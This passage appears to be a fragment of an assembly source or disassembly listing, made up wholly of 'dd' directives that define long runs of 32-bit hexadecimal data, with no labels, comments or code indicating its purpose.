0A87285h, 0B330C772h, 111A2757h, 4CAF1C03h, 0D82A9A48h dd 9807197Dh, 0BCD77484h, 1EA70010h, 218E9A94h, 84A2926h dd 0DC875710h, 0DF2D1305h, 9AD804A0h, 884C4E58h, 0BA238030h dd 63CDC168h, 8E45F73Bh, 0C078C514h, 35CEB03Ah, 91DA015Ch dd 0B507E4C0h, 1408AF54h, 816D2514h, 4C719020h, 0D0001C0Eh dd 4ADFD405h, 440638h, 5795CA5Eh, 6A80B3F3h, 5C8F24A1h dd 0F500EF4Ch, 0E682DFDEh, 0C44DA5h, 6B562C9Dh, 0B7F2E95Bh dd 7674015h, 0F49CD7F0h, 8960481Ch, 20F9AE16h, 0C542A740h dd 8516EA00h, 6836C37Ch, 59E604D5h, 0C52F8938h, 0E06C1948h dd 5C5F127Ch, 0AD580F0h, 8209D3D0h, 5909D9E0h, 8015C70Bh dd 0F605EA48h, 7E69C1E6h, 0F465EB83h, 0CBEC640Ch, 0F9BDDF12h dd 0B50008D4h, 0C547E42Ch, 99D8F1A4h, 91C0E97h, 2E4020E6h dd 0E557B636h, 119D94A6h, 63085914h, 7F08F300h, 6DE95E79h dd 71560205h, 0B0CC0B1Eh, 7C130261h, 812A88D8h, 674D191Bh dd 1F64F838h, 0C113E700h, 56AA4650h, 0D5E61C79h, 2C8E3E86h dd 57208F92h, 0EA94817h, 7362A604h, 1CE9DF29h, 0DA5B84C2h dd 0EAEC6309h, 0A660C031h, 0BB30C321h, 0B950943Dh, 0B8996088h dd 0E532A800h, 143481B5h dd 78417F76h, 29407BC8h, 0A0E361CCh, 71199108h, 40864AE6h dd 4EB3E104h, 0C70E036Eh, 0A4FC8D62h, 24BC6758h, 0C4962180h dd 0D4001B0Bh, 87B1FCFBh, 90060F07h, 0A74B034Dh, 0BD11835Dh dd 845865BFh, 88381360h, 0CA000954h, 4D2AEE5Bh, 2E6A0B1Ah dd 8C84E828h, 7D318E7Ah, 0E442845Bh, 8CFAD9h, 3A39AC58h dd 7228CF02h, 7A66D467h, 48EB64D4h, 0AE6CC186h, 0CA5434A0h dd 58B46D0Bh, 3CD4C44Ch, 83014167h, 472ECC35h, 2C222B06h dd 4FDC5CBDh, 0D8631DA0h, 0B8967F05h, 2D0B2D88h, 1EAA9418h dd 8A08EF0h, 630B1C93h, 4A3F05D5h, 0E702757Ch, 0FCDA7DDDh dd 0C423F524h, 0A22108h, 0E2819FE0h, 80977D01h, 6CF7879Ch dd 80154B0Ch, 9CA67ECh, 0EB883CBCh, 1118269Fh, 7F2164FEh dd 2842D208h, 60E42B31h, 1C478007h, 0D9B07477h, 16FA852Ah dd 819EE10Bh, 1E904F0h, 2C00091Fh, 0B813ABA0h, 200E5A16h dd 0F52F7162h, 0B0E9080Bh, 4022FBh, 4CC73A03h, 0ABDAB95h dd 92FD6CCh, 0D464051Ch, 0C8881278h, 9F448A44h, 459025FFh dd 0BC004CC4h, 21E62C32h, 0B0A02648h, 0FC1F25E8h, 0B677EC66h dd 0A5808097h, 2DE9F563h, 28208509h, 82D527C9h, 86B76C01h dd 1E064A9Dh, 0A0F0E1FCh, 91A85798h, 8D250C24h, 89527860h dd 7C2224ACh, 2973200Ch, 0BC48F3F5h, 45095EE6h, 0E6A8431Ch dd 0B01D1F80h, 0CEE62B40h, 1C0FEEh, 70115F1Fh, 545C08A9h dd 48165277h, 143958B5h, 0C20B4885h, 0B6E0D00Fh, 14A9DF7Ch dd 9AB513A7h, 81304294h, 9C28D6DCh, 544A9447h, 30B82EADh dd 0E3E1E832h, 8232B8AFh, 0A8809538h, 0CCCFD408h, 0D7E28090h dd 0C0409096h, 1E61A73Eh, 8054B036h, 6D2C9F02h, 6A17B9B3h dd 5C20F99Bh, 9D26A9h, 7B1DAF91h, 0B723EAB6h, 0EB88AB02h dd 68224416h, 90C80E00h, 39BB6538h, 57FC8288h, 94250864h dd 3964E437h, 4A01EE21h, 781301E3h, 0F089E1C9h, 554A56B0h dd 60679C04h, 3424E4h, 5B7B6206h, 9E9B43F4h, 2407400Eh dd 64C829C5h, 75A70030h, 0E46D15C0h, 8001CF4Eh, 98083AB1h dd 0FCCCB57Ah, 3DD1034h, 2186091Eh, 2EC0D035h, 494D2C6h dd 0C0BB75D6h, 1E05E100h, 0AB466106h, 0D9D7F9h, 3319C7AFh dd 90FC273Ch, 0BA1FA913h, 84E1504h, 0BE0358E2h, 55B823EFh dd 8F0EA1F8h, 57EE2000h, 82CD46Fh, 0AB4C04CEh, 0A0E40A7Bh dd 0A44010ACh, 0BCD4B4FBh, 0E24A2E03h, 8A0B019h, 3E0036BFh dd 6D41A3ACh, 26A93A7Dh, 0B380DD9h, 0C986D7h, 1E102D5Fh dd 0F18F1EE9h, 6FB1A08Bh, 2D8B93Ch, 37E5ACDBh, 2C5E7BB6h dd 0F8F48192h, 0C4BF07E9h, 0D0AC736Ch, 0DC06946Ah, 4B00D677h dd 0E304EDCCh, 2867D00Fh, 0ED1CEFh, 7F7A7E3Dh, 7271D2FDh dd 20813A2Ch, 1280F849h, 886FCFC0h, 0DC02FCDCh, 0DB8DF62Ah dd 804488h, 23511E09h, 3C95E856h, 0A81B612h, 90FDC49Ch dd 106E0091h, 0E0AEEF16h, 0D30253A9h, 0E2FC1B46h, 0DC44FAh dd 0A7656771h, 7508E00Eh, 2290502Eh, 0A42F8B00h, 48611B5Ch dd 0D8224CF1h, 98FAD4E3h, 56C42E01h, 90C2F96Eh, 0D485DC78h dd 2318B261h, 6A2A0F1Fh, 0FE8991CFh, 0E8836CBAh, 0D4F87319h dd 0F4A8FB57h, 0A70E0764h, 73B7E56Bh, 0A50088h, 4380CC65h dd 0C16321EFh, 0D358051Eh, 44F47062h, 644AD4D7h, 30802CCCh dd 0FB29810Bh, 90007F03h, 0CA1D0D46h, 704ABh, 0E66E9A2Ah dd 0E7B74C66h, 1348994Ch, 1C05B5A4h, 78312ECFh, 0FC080C58h dd 92824499h, 0DA104B91h, 4014B6F0h, 9F3F7236h, 4804DA1Eh dd 3501480h, 26F92E65h, 13F031FBh, 8A40D0F7h, 0BD005DE1h dd 95CD3D89h, 480AB4F3h, 180A4F7h, 57166FB7h, 80D89338h dd 860F602Dh, 5C43589Ah, 10096AC2h, 2C51341Eh, 0EA876700h dd 1C178FEh, 0D905034Ch, 0F8FDDCEBh, 5D2EE3E5h, 84453070h dd 72E7C8A4h, 0FA720751h, 0DF050ED3h, 0C35F14C0h, 0DF3B5456h dd 280C4CA3h, 10B2A8C5h, 0B2A1BC3Eh, 0E45F79A2h, 78A402ECh dd 0D5A7F243h, 85ECD5E0h, 0B8D52C5Ah, 231308C2h, 410180FBh dd 99F0DB95h, 7DD5C7BFh, 9198626Eh, 21D27F19h, 3CCA9D63h dd 62D78h, 2580AD4Ch, 7FB61165h, 0E6D727E2h, 42BCB6A0h dd 23C07D77h, 0FE7E7CD1h, 43C11802h, 82860C08h, 64F6B22Ch dd 0E0A00180h, 6A76ABBDh, 8B01DC52h, 0A3E8EF01h, 5459B06Fh dd 0C6CE2821h, 71924270h, 0AB33A500h, 0F7A45608h, 150B003h dd 2D9E3AC0h, 30FBAF88h, 0B5881E64h, 0A0109552h, 4C94BBEBh dd 688904Fh, 0FAE75C81h, 7463B48Dh, 3D2F1F01h, 0B82932D8h dd 8E127660h, 0B8E1024Ch, 0A82C6C38h, 0A9801BFCh, 0D22FACC0h dd 1F01497Ch, 405D9BD3h, 412AFAF8h, 30B1903Ch, 3CCE886h dd 9F1A950Fh, 8527E82Dh, 0B4717AB5h, 6024408h, 0ABD5091Dh dd 0A074BFh, 2272B861h, 0D611E2F7h, 0CA1D415Dh, 0F589323Ah dd 0C23F44Ch, 9FF83706h, 60C0B8Ah, 601F6794h, 0C88B8209h dd 0BF8490EFh, 0F6A40025h, 4995C615h, 6409FB96h, 806D8788h dd 933128EAh, 1E080A41h, 91406681h, 0F0204AD5h, 1904C9Ch dd 9660A07Bh, 0F53908C0h, 0C91C30E3h, 0B71F8444h, 7E054800h dd 0FB163A73h, 5027FA3Bh, 0D897C863h, 0DA5265h, 9B825015h dd 0C385D73Eh, 256BEA06h, 0D91181h, 7DC26F98h, 437C2B41h dd 0E7B01400h, 8660ACCh, 1630B02Dh, 84230F7h, 84A0E268h dd 39D68802h, 5FEA072h, 0B2B48126h, 20B312A7h, 34461BFh dd 0F3AA1200h, 4DFCBA6Ch, 0BC8F018Ah, 0F9E4089Ah, 0CC598070h dd 638CAC8Dh, 22E5001Bh, 1D2C73ECh, 0B2059542h, 0D3FAE3Ch dd 94386CF1h, 580EBF80h, 0DD01E2E8h, 0AC3B2214h, 9463A113h dd 0AF4C9400h, 0AE0FA459h, 0BC44C4A2h, 926E7E00h, 6421C5BAh dd 0DF3F38C7h, 24F072B8h, 8B8D83Ch, 84926F80h, 1FD60E4h dd 4DC730A9h, 0D49BA2EAh, 6C0F4E51h, 246EAC7Bh, 9CB2073Dh dd 0BF969C00h, 0B44D18B2h, 0FA291E0Bh, 5F7024E3h, 0B0A0E4h dd 0DF75039Ch, 0A1797C0Fh, 0B3540900h, 581B28A4h, 9B9C0589h dd 0D0B1E7F8h, 8540FACh, 74223826h, 0D74E8069h, 417C5FAh dd 86ABEADCh, 54648885h, 0B3B1D601h, 0E1BF22AFh, 0E348203Bh dd 0DE006775h, 0DC30286Dh, 4EC695Dh, 8B416F88h, 44B992h dd 952C16AEh, 501B8E18h, 0B4E49473h, 0C20640A8h, 26045145h dd 1B78678Eh, 5F1348C1h, 0FD030472h, 0A8763EA3h, 69D84ED3h dd 6B49FAF4h, 0B930B24h, 8094D1CDh, 70E1ED05h, 12009F59h dd 481E7F06h, 180CB707h, 59AA24F5h, 0D103091Fh, 11C4EE0Ah dd 4C238207h, 0B91F75F4h, 0C079288h, 26500524h, 0A82F1478h dd 1150208Dh, 4F202F89h, 3A744031h, 7BB14649h, 0C098FD5Ch dd 5CA13605h, 4B1400DEh, 7F074445h, 74BE12ABh, 8E392740h dd 0A7706h, 169CDAFAh, 8B291AABh, 7CB3C912h, 0D554E489h dd 0E439FCC2h, 777E00E8h, 2D5C0AB3h, 2133B090h, 0A1D32891h dd 9C54C7FBh, 4AF18490h, 708448E2h, 28A0D580h, 7F0234F0h dd 5409BC3h, 8BE411Eh, 0B90A7030h, 2CA9ADB8h, 5D01C80h dd 99D087DAh, 1EA8229Ch, 642233AFh, 0D912Ch, 0CCC4E25Dh dd 34A782Dh, 1EE1B481h, 0A0E0F209h, 75859E9h, 28C201ECh dd 872D7D1h, 0C30C055h, 576517h, 0DC1C51A1h, 9AB56140h dd 878A88A3h, 188B5444h, 0F46F17B8h, 61081CF8h, 16806BE9h dd 701CC8D3h, 337A1600h, 1CB6E435h, 142D004Eh, 0B10CFB36h dd 0AC05DC94h, 4D89D721h dd 883118B4h, 0D80053C5h, 0BE28CAF5h, 0D444B8h, 27413D66h dd 213C08F7h, 7EDD6807h, 9150A419h, 4FE2724Dh, 0F52440F9h dd 1851F889h, 36C9FE01h, 19235657h, 1F07B0DFh, 5F60F60Ch dd 387C892Fh, 8D210580h, 0C4A11E01h, 0C406AC20h, 0CCBF9121h dd 2E003698h, 940FAD33h, 3BCA6C74h, 311E2DD1h, 0E908028Fh dd 0DCD0A180h, 295AAC77h, 1CA85820h, 8F1A1C58h, 0CC6640F5h dd 7E5E1871h, 57D493Eh, 0DDB45BA0h, 9C16C8A7h, 0E474E4B5h dd 82CEF784h, 8605DCF0h, 48B10193h, 416551F5h, 195C00F6h dd 0B5943C5Bh, 4152201Fh, 0CE42CB00h, 1E076A46h, 0C5C045C7h dd 0F58FD358h, 2C35CCCCh, 70859009h, 10200527h, 1060C009h dd 1716B194h, 911498Fh, 0BCD86648h, 0FA6222h, 6B381C7Eh dd 1E971142h, 0AA0CB0A0h, 1412FF0Ch, 0E91008AFh, 40A87EF6h dd 0A5A879DFh, 0BFFEB8EAh, 407D3A03h, 0C8C705D1h, 1F6A1E4h dd 8FB33F2h, 48EF2C6Fh, 7200C5B0h, 141A2DFEh, 35867Ch dd 0BE129226h, 7A6407DBh, 0CADF600Bh, 64D1B3h, 58DD4227h dd 8096588h, 900FABF7h, 222FE648h, 0F513210Dh, 80F2C6FCh dd 1CC88A5Fh, 0EBDA2CCh, 11FBFFAh, 0F6BB8AD4h, 4F5791C4h dd 2020CD0Ch, 0C940324h, 11BCD94Bh, 0CD0B928Fh, 0EABCE4B4h dd 46620030h, 1A608FD6h, 0BF3E49D3h, 9F2F8257h, 5EFA755Bh dd 6CC38E38h, 2B141300h, 0AF00FCC1h, 7498622Fh, 1836916Bh dd 916EF9E7h, 83008729h, 0B4FB09E0h, 5A62813Ah, 80D02708h dd 598DD3BBh, 85AC800Fh, 0A5CB605Eh, 39649B1Bh, 7A491E3h dd 208119Ch, 0A9A12866h, 10D49Fh, 291939D1h, 0D34F1404h dd 86E6EC04h, 237B488h, 12158422h, 44D6E407h, 0C0E42Fh dd 23594E5Eh, 99394CC3h, 0B678320Ah, 6340A87Eh, 30E405B7h dd 0D470EA54h, 8B9627Dh, 0E1589882h, 3DE1E086h, 0EE84171Eh dd 7DE8D27Bh, 0C23CF051h, 0C9C01458h, 981C8F35h, 80C89F3Fh dd 3B34F44Fh, 2252415h, 0EF7CA29Ch, 0C4DE1EB9h, 24073988h dd 0C015608Ch, 0DB00C489h, 0BF2C2628h, 1780D5ABh, 8861D7CCh dd 0AE779F7Ch, 0BF3FA03Dh, 603789BBh, 80F06A48h, 2BC6B53Dh dd 218C139Bh, 6610F063h, 6DD71C84h, 2685C9FCh, 53420472h dd 0D8059115h, 0FB26890Bh, 25124424h, 0EB3E34E2h, 7D86409h dd 20553C84h, 16F7999Fh, 905EFECAh, 0A5A9E068h, 771C6A00h dd 0F9F6FCCDh, 0E69E09F1h, 240464B1h, 0B40B532Dh, 86005924h dd 49D25DB7h, 0AB18C507h, 20B05B24h, 77674601h, 0D4211641h dd 789C3704h, 0FC8010A9h, 4EFA36BDh, 40C702C3h, 0FDF0F46Eh dd 0F5A6C82h, 7925F522h, 0D7D88B74h, 0F2018844h, 54EDDA24h dd 73E49CBBh, 9E9F8C8h, 445F22A1h, 20F0B4D8h, 61B7852Dh dd 0BC792F10h, 0F80C7B04h, 0A88481A1h, 44FB02A7h, 0DD9CC1E8h dd 3B417FD6h, 0D4AE9020h, 22DE0E3Ch, 41DDA05Dh, 4C58485Ch dd 23EA82A3h, 469AF747h, 0C37D00ECh, 6AC9E930h, 4B07AEA9h dd 4E53BFEAh, 0F27EACD1h, 7BB0016Eh, 2BFE09D4h, 8F84094h dd 322AB280h, 86A05E8Ah, 0A87D351Ah, 0DCE1F901h, 2D05DF18h dd 27F6F830h, 4C301289h, 0E40298FDh, 3C3A949Eh, 51C88FA0h dd 0DC85B575h, 69CC084h, 9A25D7D3h, 0A600447Bh, 7F8743B4h dd 900C8A4h, 0FCE92ECEh, 0C5ACEE6Eh, 0F8FB3E48h, 0F16180E8h dd 747E7B8h, 0CE554965h, 71573671h, 0BC3AAC86h, 0B1A10039h dd 0F7487A3Dh, 478F0A3Ch, 12D07F64h, 9FCE396h, 56A5C719h dd 2060173Ch, 2E2CEB48h, 29121100h, 0B1E281BDh, 39610938h dd 0C83E8A8h, 14B9A202h, 80A83829h, 0A024F81Ch, 92BD035Fh dd 640C3CC6h, 38CAA398h, 1FB7360Eh, 751480C7h, 0E569F7h dd 0A272C2F8h, 3A67706Ah, 9102EF1Ch, 6584E469h, 0B213A3F9h dd 0BA7A0328h, 0A07F41AEh, 7872D0B2h, 0F93600F3h, 0EE7CADC7h dd 24B4B633h, 92FE4240h, 0B7403CAh, 0D832EC7h, 0F822F7C0h dd 0ADFE214h, 0C9FD2D8Ch, 9310B298h, 0A8004133h, 95083BCBh dd 0F2D2A05Ch, 0ACA701D3h, 858458AAh, 8078227Eh, 0A007654Ah dd 0A4531297h, 0D024890Bh, 0FA018555h, 0F7D6E514h, 0C31A1B3h dd 0D7DC212Eh, 3D51BC89h, 0F02A290Dh, 75EC202Dh, 0ADC0D1h dd 0D999AB8h, 44576BD9h, 2E720E00h, 0A4F42168h, 0BF3AE6CBh dd 13FA7C13h, 74055710h, 44D898A1h, 8659D7E1h, 1F1C9C0h dd 0A60D0CE8h, 86A2B47Ch, 832B4880h, 8B004009h, 0C9CE19ABh dd 9BE6F8h, 375CAA30h, 0E4A74DD9h, 862D0870h, 2B4603Eh dd 2DF10093h, 642272C1h, 0B51908DCh, 2C913A7Ah, 5980F42Ch dd 4ABCCB66h, 1B550B0Bh, 8FC841Ch, 6CBE8440h, 98BC5229h dd 372E9340h, 395900B4h, 0DEC9F8A1h, 770BACDDh, 898F30B2h dd 0F94CCA08h, 51050394h, 0F3A84703h, 0BD02BFEBh, 0A84366E9h dd 0D4E6FEh, 0FA326C90h, 0BB752450h, 1B81E4Ch, 0D0140692h dd 5109F6Bh, 0B0A4A994h, 190E8133h, 0B879B05Eh, 0F44B0104h dd 0D0E64DD8h, 0B392DCD3h, 0F9902C02h, 44EB8121h, 80B62ED4h dd 88844484h, 570060F4h, 9C066EF0h, 174EDE98h, 233D2D9h dd 722EE730h, 8D409874h, 627C9Dh, 0D2A842D6h, 0FD107F3Eh dd 810052E4h, 93069772h, 0FE9496B5h, 0CC87B7B8h, 2D687328h dd 486C4200h, 6732E308h, 0A05325B6h, 0BD9CD8A1h, 926C692Fh dd 8A42894h, 81F4B1E2h, 6956A033h, 8FE92099h, 0EF08CA2Ch dd 0F524E825h, 2598913Ah, 0A20F3C44h, 692B5C49h, 20146ECDh dd 0AE118BE8h, 2E00D7F9h, 819A5240h, 0D63942F3h, 7F8D825Fh dd 0D637D8A1h, 199440DCh, 57542FBFh, 8085FC40h, 0E49CB5D5h dd 222CADC5h, 0DD88C824h, 58E3098Bh, 400E7442h, 0E71478B4h dd 401EBF9Eh, 0ACDECFAEh, 67D84D82h, 5500B4E6h, 4B6AFEF9h dd 708D50h, 0FCC7BCB9h, 5AE03AFh, 0DB06BF01h, 9A187FA5h dd 7CCFD4E0h, 11894C8h, 0EC886EAFh, 2F7C72A8h, 98667Eh dd 0DFADF528h, 102A0572h, 9C2CF094h, 0FCFC3764h, 6605422h dd 8005DA60h, 9E60FC24h, 54AD8030h, 278756A4h, 3EA54707h dd 15140A3Bh, 411018ABh, 0B1047FA6h, 0DCCA0786h, 1EE068CDh dd 3C3E5081h, 883A09FDh, 985423F5h, 0FCC25764h, 98A08958h dd 0AD97A54h, 73215954h, 0D6E400A0h, 0A12C27A3h, 1AF36C19h dd 6C9F760h, 1338DC67h, 0C26E1B0Bh, 0C40070F9h, 85AFD8Eh dd 1B800C7h, 0D74B30B9h, 0B1099A88h, 41D87C6Ch, 706B3768h dd 0E876C388h, 8FC9F62Eh, 0EE17D000h, 72ADA03h, 53D9DB1Dh dd 576F2DFh, 0AE00FC4Eh, 0B357774Eh, 0F7FCCC4h, 9BFCBCA4h dd 2D843A2Ah, 16396410h, 2664CF0Eh, 0F78B4007h, 4CEE0EDh dd 2A3A22F9h, 0F0E8C17Dh, 0A3DC00A5h, 0E088053Dh, 0D2A0641Fh dd 2C203838h, 281D1035h, 2CE8E063h, 1708140Ch, 0D7902120h dd 8C323BB3h, 0F9931085h, 0CC9E307Ch, 8B96AAE7h, 3F94BEE1h dd 634AD4C4h, 0C6E6648Dh, 84A4F230h, 5E230A0h, 67B8D000h dd 9226F028h, 9C300FEh, 0C521D5D8h, 0F612070Ah, 0CCF9DE7Dh dd 69FA3A18h, 0ED1D091Dh, 0C303207Eh, 0D3234680h, 0F8E01007h dd 5EB458A4h, 0E88ACC61h, 14D8E6E4h, 98C3830Dh, 0A09DC16h dd 9174BE3Ch, 7E06007Ch, 30EACF22h, 2A490FAh, 882B1EEh dd 84602C3Eh, 818A8957h, 802742D7h, 2F8136Ah, 7354B5FCh dd 0B311A0F9h, 0F9AC885Ah, 0D45D8307h, 0AA50C8F8h, 54335F7h dd 736EA1C2h, 87FCFD3Ah, 0A590282Bh, 0FDAC06h, 9E4A71BDh dd 97F7BC69h, 6472224Ch dd 30E3E391h, 90445204h, 0FB5CA064h, 204C2EBDh, 6023C178h dd 0B0EAA2h, 0C90D53B3h, 132C58B1h, 75DCD4A8h, 65268A71h dd 0EA608808h, 0F43AC8EBh, 6E602442h, 0CD136400h, 0C84428A4h dd 3E918707h, 1D973EFBh, 531CF6Ch, 97544213h, 5441CC46h dd 1F88FF78h, 0DE03E463h, 27738758h, 18085993h, 0AA407088h dd 5F45C3Bh, 366E7430h, 0C4D44064h, 214ADD7Ch, 0B1380704h dd 0BCAC1FF4h, 123556F0h, 0AC88A74Ah, 0D17A0AACh, 0F2D732h dd 0F5CD1352h, 87002CBEh, 0CA0DAA98h, 12F274F1h, 20A7084Bh dd 0A4AB928Ch, 0BD28B895h, 5878BEh, 61AD40CCh, 0AFB18F88h dd 5009F927h, 73912540h, 8885B4D1h, 2C8EB3DBh, 38050907h dd 0C40B00E3h, 0E12E7585h, 7117F0D6h, 5690B046h, 97EE1DF0h dd 0F95BC92Dh, 0A5C6C810h, 76004CF4h, 7D775436h, 90E2E389h dd 0FE2422E8h, 9129E62Fh, 306AD0F8h, 0EAD83274h, 0D9088A00h dd 64FF0612h, 4A46FEAEh, 1334C87Fh, 3484D416h, 0BD252203h dd 5E6A05B1h, 836A9433h, 3DE2F4F5h, 0BE0B4D4h, 20391Ch dd 6B53D041h, 10EADF84h, 395D907h, 63E22C99h, 52E5892Fh dd 97930934h, 5491E3A1h, 180295Fh, 0C619460Ah, 2C286B1Ch dd 0B35DBE80h, 0E90471B2h, 0F74D2E55h, 149460F4h, 0C4E361CDh dd 5CF12C89h, 0D00F0600h, 4AFD9062h, 8A37Dh, 0B88404Eh dd 9BE01C7h, 0DCB2C989h, 0F004EB09h, 0CDAE41A2h, 0C42BEA2Eh dd 0DA09C08h, 96120643h, 23A82385h, 4EF840C3h, 7D0172AFh dd 3C5B0398h, 0B0847CC5h, 0FC59B637h, 0C058E7B8h, 0E3CD7BADh dd 7550B37Ch, 4CBC9118h, 0B75D50h, 0C5A26C26h, 3F6EDDB1h dd 7AE51301h, 626BD19Dh, 1878146Fh, 0E05181CDh, 0F917284Ah dd 0B4129F57h, 1E326088h, 0B9B610h, 0FCF761C9h, 162C2C1Eh dd 0C200FE38h, 5541F44h, 97285AF5h, 41C7905Ch, 0D702F755h dd 3B215F9Ch, 39A079DAh, 0BA794983h, 38E8651Bh, 7D040695h dd 0C050E9F1h, 0E23020BEh, 0A8007C3Ch, 0FD70CD1Ch, 5472FCh dd 0F0D45AB6h, 9ADBEC06h, 96E30C04h, 56EAE991h, 1248085Ch dd 2EB4A6h, 0D38F088Bh, 6DD0070h, 0A29C02FDh, 8316FE00h dd 0F3E3B9Fh, 35070085h, 7BAF33A4h, 0B61A044Ch, 54393C7Ah dd 107F4714h, 131C5289h, 8448235Bh, 154080DCh, 4734C459h dd 5751F801h, 0CE52E3CBh, 54F983E0h, 0B3DCF4B7h, 0F17B17D8h dd 2A8C30E8h, 276469C0h, 58D82CCh, 850B21FAh, 0B464E07Bh dd 273017E9h, 0A43E6072h, 2C90C4h, 43224999h, 4AAAA4B6h dd 0A2E40802h, 507B91E3h, 3D64418h, 0F86A8500h, 6E9DF480h dd 0A12769F6h, 0CE04285Ch, 8C898CDCh, 54E058F4h, 17CA2072h dd 0BEB3952Eh, 316F490Bh, 0F51193F0h, 70282E22h, 0E078FDh dd 170CD3A1h, 2688D4B9h, 0F4E22F03h, 5A894524h, 1C44C0D1h dd 0B92777D3h, 2C50731Eh, 5CD019Ch, 4D9AD73Eh, 22EC2DA8h dd 79241F30h, 118380A0h, 0C05325E0h, 33F3100h, 3ECE306Bh dd 880CB4DEh, 11BC458Ch, 6D00DDF6h, 36C4E9E6h, 0DE009C9Eh dd 8635CA2Dh, 581001h, 8CD1833Dh, 0A6C4DBB7h, 0D3812118h dd 0B037D791h, 405C9CECh, 2B290FCDh, 0BFB0891Fh, 71333F00h dd 347E22Ch, 0C368A915h, 91119194h, 0B5127F74h, 0CB38B856h dd 0F6709160h, 5FC8402Eh, 0BA494C71h, 0E1E050B4h, 0E4866338h dd 0D2FFC23h, 884CF0F4h, 0C4983169h, 18A086CCh, 460037CAh dd 0DEEE5B4Fh, 25FEB97h, 5A73793Bh, 0CC71A105h, 38A6F900h dd 9E5B34Eh, 204FC54Dh, 0CA964401h, 0D71C7157h, 808AEC9h dd 4AD1161Dh, 66E430DFh, 0AA3E745Dh, 887D805Ah, 436B16CDh dd 580C922Eh, 0D4227C8Bh, 144EE724h, 20A01127h, 5726D708h dd 9360CC87h, 7D0A5CB8h, 0C5830E45h, 0F3E00753h, 89FE0B9Ah dd 9040FB5Ah, 16A984F1h, 65511D07h, 91C846A5h, 527499Ch dd 2C1890B0h, 6EC13095h, 418A88E8h, 0D02508E2h, 899471B8h dd 0D0E886E7h, 31000146h, 762B665Dh, 25B13412h, 0A003BFF6h dd 89A693DCh, 488F0604h, 0E8800872h, 25538E91h, 448B7396h dd 26156453h, 36B0060h, 8556D2BFh, 500D0996h, 0D4F1DFBBh dd 9FD8F900h, 7811658h, 0B39CB72h, 0C8EC046h, 1A16A187h dd 18C8F69Eh, 0A27600AAh, 58504E94h, 0A5254BA7h, 1C14E49Ch dd 80B0C9B2h, 0E00E67A2h, 7C007E14h, 996512DCh, 27D46FDFh dd 14100961h, 0E316AF58h, 7820F705h, 26999236h, 0B9E4C7F1h dd 0F52514A2h, 0C501021h, 4E78B08h, 2168A2D3h, 22FB1D09h dd 81F35202h, 56E2D211h, 0C0E84774h, 4B4FC373h, 3E9A4C0Eh dd 0B9336097h, 23F5FD9h, 0E62E0B64h, 0E3211AF0h, 0CC550A81h dd 9B86A4A9h, 1E50D04Ah, 409CD8CCh, 80F4E640h, 0BACB00D5h dd 952106C9h, 73F9013h, 0BC830766h, 0DFD12827h, 51AC775Dh dd 525F60C8h, 7E006C4Eh, 0EF16D663h, 7B58A7h, 189FC585h dd 0BE67EBA0h, 0A39DDB79h, 0E1E69384h, 4463B751h, 2AE85400h dd 0BED7DBABh, 3EB42C00h, 0A7C844F5h, 5480D414h, 96E6887Eh dd 0AF413C96h, 0DC285FF9h, 0ADE6781h, 13F6E42Bh, 7460084Ah dd 7116A03h, 0E03A52BBh, 49FB402Bh, 0B50953F1h, 6A85D7FDh dd 54C5CF0h, 0AC0FA5CEh, 0D4E42D9Ch, 78C6273Fh, 0B840FB25h dd 19D7C4h, 6A7723A9h, 999D94A4h, 0B1121806h, 227011D2h dd 8E2234C7h, 405F5CB8h, 8964AF80h, 824CEC8Dh, 0AC9D1DC0h dd 0E480179Ah, 0A77E4F38h, 92F1398h, 0AD132424h, 6B87480Bh dd 2EE980C4h, 4C449D4Ah, 8E4D5400h, 3FF6E2D3h, 0FC689007h dd 84B09DA3h, 0FE00BB99h, 0DCB8CDCCh, 153F805h, 0E65D9ADEh dd 3FE272F1h, 0F3CC6890h, 0A70100F5h, 0D4085A74h, 51CC8C7h dd 5B49916Ah, 9120512Fh, 84B99337h, 0D5EC88C2h, 10808841h dd 0F3DED69h, 507D3668h, 8106029h, 0F6005D82h, 85A8CB78h dd 95D97CB6h, 2500A0CEh, 3AF5AB0Ah, 3E51637h, 2954CE99h dd 95F9B667h, 249448ECh, 0D9565502h, 60316CA2h, 91D35294h dd 37E302D0h, 175E43Ah, 0E6F4B330h, 509A2EE8h, 4474B87Eh dd 0D10926A2h, 58F8987Ch, 0D07B5830h, 44C24BC0h, 333C9058h dd 920BF705h, 0CCBE51h, 0F2D80EE7h, 613D0911h, 2884A34Ch dd 24F83504h, 0F1971EA0h, 0D483AA00h, 0F434053Bh, 0A80600F8h dd 720EAFEBh, 2F546490h, 1429C1D4h, 0FE80A055h, 2B355250h dd 5BF273Ch, 7FB57C60h, 9A45E49Eh, 0D062E8E3h, 18D6CAB3h dd 28301F13h, 72860CC2h, 0DF910016h, 0BB029F44h, 0AB00EB5Fh dd 0E48F04E9h, 78B6091Ch, 722E2D7Fh, 16A80890h, 199B2400h dd 0A1BC799h, 34EC0D4Ch, 3BF826E9h, 600188Ah, 3624A759h dd 0C048F4ABh, 1E93027Bh, 73B588D7h, 0BD7EB098h, 873BE33Fh dd 22EB1D60h, 74ECA452h, 0CA1F3D00h, 3AF895D5h, 0E8076972h dd 51496F2Eh, 58B6AF31h, 7488882Ch, 87205264h, 116F9C97h dd 0E3538250h, 1320DB07h, 0FCA8E497h, 606C7A09h, 64FEB9h dd 0C00DC1EEh, 0A248B810h, 19E4053Ch, 94099468h, 644635h dd 0F9E222BEh, 520C81F1h, 48FB632Fh, 749C2824h, 1CF04Dh dd 0CF0D5DD6h, 0D47872D9h, 255862EDh, 572868FBh, 0B6BD011Dh dd 0FAEFB7CBh, 25610AFh, 6D5C00BFh, 0CC846699h, 0F800E10Bh dd 0B5EFBEB8h, 13DAE3F2h, 20F9F704h, 292082E4h, 0F3643D00h dd 0B7133F2Bh, 3B5E4A9h, 89097BA8h, 0FFEC218Fh, 86E3C802h dd 5028271Ah, 1175D47Eh, 484ABF3Ah, 134C13CCh, 0FBC7C403h dd 0E6D4A001h, 2D409016h dd 1C51B0BFh, 0AA9AC800h, 3D340870h, 7BE757h, 58C38C28h dd 2EE28FF6h, 0E820784Ah, 0F74AB5E3h, 12045DF4h, 38F4D3FDh dd 0EBE2A230h, 0B1F8C55Fh, 1139D416h, 0ECD21444h, 0C5740100h dd 92092578h, 0A0F9E1C8h, 0DE6F10h, 0A9113905h, 530B595Bh dd 0E2FC7C05h, 0E4EC3AF4h, 5ACF13A0h, 4F09A300h, 648AC76Ah dd 0B7A209EEh, 2C18B672h, 0C039922Ch, 0FD3837Fh, 0EA726C8Eh dd 821081F6h, 3AE40133h, 4F1B02AEh, 